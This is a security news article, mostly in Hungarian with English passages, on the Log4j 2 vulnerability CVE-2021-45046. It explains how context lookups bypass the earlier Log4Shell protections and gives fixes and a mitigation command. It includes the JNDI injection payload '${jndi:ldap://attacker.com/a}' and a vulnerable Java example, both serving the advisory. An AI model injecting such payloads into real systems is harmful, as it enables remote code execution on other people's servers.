Új támadási variáns a Log4j 2-n, amely lehetővé teszi a hozzáadott védelem megkerülését

A JNDI substitution vulnerability has been identified in the Log4j 2 library (CVE-2021-45046), which exists despite the corrections added in version 2.15 and regardless of using the 'log4j2.noFormatMsgLookup' setting for protection. This issue primarily endangers older versions of Log4j 2 that are protected using the 'noFormatMsgLookup' flag, as it allows a bypass of the protection against the previous vulnerability (Log4Shell, CVE-2021-44228), enabling code execution on the server. For users of version 2.15, exploitation is limited to creating conditions for application crashes due to resource exhaustion.

The vulnerability only manifests on systems where context lookups (Context Lookup) are used for logging, such as ${ctx:loginId}, or MDC patterns (Thread Context Map), like %X, %mdc, and %MDC. Exploitation involves creating conditions to log data that contains JNDI substitutions, when the application uses context lookups or MDC patterns that define formatting rules for log output.

Researchers from LunaSec noted that for Log4j versions below 2.15, this vulnerability can serve as a new attack vector for Log4Shell, leading to code execution if ThreadContext expressions containing external data are logged, regardless of whether the 'noMsgFormatLookups' flag or the '%m{nolookups}' pattern is enabled for protection.

Új támadási variáns a Log4j 2-n, amely lehetővé teszi a hozzáadott védelem megkerülését

The bypass of protection involves substituting the expression '${jndi:ldap://attacker.com/a}' through an intermediate variable used in the log formatting rules instead of direct substitution. For example, if a context lookup ${ctx:apiversion} is used in logging, the attack can be conducted by substituting the data '${jndi:ldap://attacker.com/a}' into the value assigned to the variable apiversion. Example of vulnerable code: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // The HTTP header value "X-Api-Version" is passed to ThreadContext ThreadContext.put("apiversion", apiVersion); // When logging, the external value apiversion will be processed using the substitution ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }

A Log4j 2.15 verzióban a sebezhetőség a ThreadContext-be való olyan értékek átadásával használható a DoS-támadások végrehajtására, amelyek a kimeneti formázási sablon feldolgozásának végtelen cicázásához vezetnek.

Új támadási variáns a Log4j 2-n, amely lehetővé teszi a hozzáadott védelem megkerülését

A sebezhetőség blokkolására a 2.16 és 2.12.2 frissítések kerültek kiadásra. A Log4j 2.16 verzióban, a 2.15-ös verzióban végrehajtott javítások mellett a JNDI LDAP lekérdezések "localhost"-ra való kötésének lehetősége is megvalósításra került, a JNDI funkcionalitás alapértelmezés szerint teljesen le van tiltva, és a üzenethelyettesítő sablonok támogatása megszűnt. Védelmi megoldásként javasolt a JndiLookup osztály eltávolítása a classpath-ból (például: „zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”).

A javításokat a csomagokban nyomon követhetjük a disztribúciók (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) és a Java platformokat gyártó cégek (GitHub, Docker, Oracle, vmWare, Broadcom és Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure stb.) oldalain.

Forrás: opennet.ru

Megbízható hosting vásárlása weboldalak számára, DDoS védelemmel, VPS VDS szerverek. 🔥 Megbízható webtárhely vásárlása DDoS védelemmel, VPS VDS szerverek | ProHoster